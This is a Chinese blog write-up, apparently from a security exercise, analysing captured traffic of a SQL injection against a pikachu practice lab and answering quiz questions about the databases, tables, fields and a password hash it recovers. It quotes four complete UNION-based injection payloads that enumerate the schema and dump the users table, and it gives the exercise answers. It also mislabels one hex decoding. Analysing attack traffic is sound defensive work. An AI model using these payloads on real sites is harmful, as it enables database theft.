记一次SQL注入流量分析 | 添柴不加火

目录

题目情景

态感平台近期发出了3条告警信息,疑似有攻击者企图攻击某网站服务器, 平台告警信息可能存在误报,请根据告警信息回答下列问题。

题目

1、查出的数据库名是(多个库名用中文顿号分隔,例如:A、B) :

2、数据库查出的表名(多个表用中文顿号分隔,例如:A、B):

3、用户表包含哪几个字段(多个表用中文顿号分隔,例如:A、B):

4、pikachu用户密码的MD5值是:

流量分析

根据题目描述,我们可以推测出这是SQL注入的流量。

一共有三个流量包,首先要"统计-协议分级"看看哪一个流量包含有HTTP协议,发现含有HTTP协议的只有第二个流量包,剩下两个流量包都不含HTTP协议,肯定是误报。打开流量包2,先过滤HTTP请求,大致看一下,发现请求方法是POST,接下来过滤POST请求,输入http.request.method=="POST"

分析注入语句1:

1 UNION ALL SELECT CONCAT(0x716b717171,JSON_ARRAYAGG(CONCAT_WS(0x73626a6a6274,schema_name)),0x717a707671),NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -

这是查库的语句,右键追踪HTTP流,发现返回了5个数据库名

分析注入语句2:

1 UNION ALL SELECT CONCAT(0x716b717171,JSON_ARRAYAGG(CONCAT_WS(0x73626a6a6274,table_name)),0x717a707671),NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x70696b61636875)-- -

0x70696b61636875 Hex解码得到pikachu

这是查表的语句,右键追踪HTTP流,发现返回了5个表名

分析注入语句3:

1 UNION ALL SELECT CONCAT(0x716b717171,JSON_ARRAYAGG(CONCAT_WS(0x73626a6a6274,column_name,column_type)),0x717a707671),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x70696b61636875-- -

0x70696b61636875 Hex解码得到users

这是查列(字段)的语句,继续追踪HTTP流,发现返回了users表的字段名

分析注入语句4:

1 UNION ALL SELECT CONCAT(0x716b717171,JSON_ARRAYAGG(CONCAT_WS(0x73626a6a6274,'level',id,password,username)),0x717a707671),NULL FROM pikachu.users-- -

这是查users表的所有字段的数据,追踪HTTP流,发现返回了数据,经过判断,得到pikachu密码的MD5值

最终答案

题目回顾:

1、查出的数据库名是(多个库名用中文顿号分隔,例如:A、B) :

2、数据库查出的表名(多个表用中文顿号分隔,例如:A、B):

3、用户表包含哪几个字段(多个表用中文顿号分隔,例如:A、B):

4、pikachu用户密码的MD5值是:


综上得到最终答案:

数据库名:information_schema、mysql、performance_schema、sys 、pikachu

表名:httpinfo、member、message、users、xssblind

字段名:level、id、password、username

Pikachu密码MD5:670b14728ad9902aecba32e22fa4f6bd


至此,SQL注入流量分析结束,感谢支持!